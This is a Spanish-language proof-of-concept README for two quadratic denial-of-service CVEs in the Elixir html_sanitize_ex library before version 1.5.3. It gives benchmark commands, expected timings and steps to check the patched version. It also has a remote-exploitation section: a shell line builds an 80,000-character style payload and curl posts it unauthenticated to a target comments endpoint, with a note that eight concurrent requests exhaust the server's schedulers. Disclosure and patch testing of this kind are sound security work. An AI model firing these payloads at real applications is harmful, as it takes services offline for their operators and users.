
PoC que demuestra un DoS cuadrático en Elixir html_sanitize_ex mediante HTML elaborado; incluye benchmarks de tiempo, explotación remota con curl y verificación contra versiones parcheadas.
Denegación de servicio cuadrática en html_sanitize_ex < 1.5.3.
La biblioteca existe para neutralizar HTML no confiable, pero dos rutas de código superlineales independientes permiten que una única solicitud manipulada sature un planificador BEAM durante segundos. Un puñado de solicitudes concurrentes satura el pool de planificadores y la aplicación deja de responder. El impacto es únicamente de disponibilidad (CVSS 8.2 Alto).
| CVE | Componente | Debilidad | Desencadenante |
|---|---|---|---|
| CVE-2026-68749 | HtmlSanitizeEx.Scrubber.CSS.scrub/1 | CWE-1333 (retroceso de regex) | una larga secuencia de caracteres de palabra en <style> con un : al final |
| CVE-2026-68750 | HtmlSanitizeEx.Traverser.traverse/2 | CWE-407 (recorrido cuadrático) | secuencia plana de etiquetas hermanas permitidas (p. ej. <b>a</b> × 20,000) |
CVE-2026-68749 solo es alcanzable a través de
html5/1(o un scrubber personalizado que extienda:html5). CVE-2026-68750 está presente en todos los puntos de entrada públicos, incluyendobasic_html/1,markdown_html/1ystrip_tags/1.
mix.exs # pins html_sanitize_ex to 1.5.2 (the last vulnerable release)
poc.exs # generates both payloads and times them
Requisitos: Elixir ≥ 1.14 y conexión a internet (para obtener la dependencia Hex).
mix deps.get # fetches html_sanitize_ex 1.5.2
mix run poc.exs # runs both demos and prints timings
Resultado esperado en la versión vulnerable 1.5.2: los tiempos del ataque eclipsan a los benignos. La forma es (ilustrativa; los valores absolutos dependen del hardware, pero los dos anclajes del ataque provienen directamente del aviso de la EEF CNA):
=== html_sanitize_ex 1.5.2 ===
CVE-2026-68749 — CSS scrubber (html5/1), 80000 chars of 'a'
benign (…a!): ~ milliseconds (returns near-instantly)
attack (…a!:): ~ 2.4 seconds (thousands of x slower)
diff is a single ':' character
CVE-2026-68750 — traverser (basic_html/1), <b>a</b> siblings
2,000 siblings: ~ milliseconds
20,000 siblings: ~ 1.7 seconds (10x input -> far more than 10x work)
ratio > 10 reveals super-linear growth
El punto es la proporción: el ataque es órdenes de magnitud más lento que una
entrada benigna de tamaño comparable, y 10× la entrada cuesta mucho más que 10× el trabajo. Las
cifras de 2,4 s (80 KB de <style>) y 1,7 s (20,000 etiquetas hermanas) se citan de los
avisos upstream.
Edita mix.exs y sube la versión fijada a la versión corregida:
@vulnerable_version "1.5.3" # or later — 1.5.3 contains both fixes
Luego vuelve a ejecutar:
mix deps.update html_sanitize_ex
mix run poc.exs
En 1.5.3 los tiempos benignos y de ataque se reducen al mismo orden de magnitud, porque la corrección limita el grupo regex ([-\w]+ → [-\w]{1,64}) y reescribe el traverser como un único Enum.reduce + un List.flatten/1 (O(n²) → O(n)).
En una aplicación Phoenix real, estas llamadas ocurren dondequiera que el servidor sanea texto enriquecido proporcionado por el usuario. El atacante simplemente hace POST del payload como valor del campo — no se requiere autenticación:
PAYLOAD="<style>$(python3 -c "print('a'*80000,end='')")!:</style>"
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
-X POST https://target.example.com/comments \
--data-urlencode "body=$PAYLOAD"
Ocho solicitudes concurrentes como esa saturan los ocho planificadores BEAM en un host de 8 núcleos.
Solo para fines educativos / pruebas autorizadas.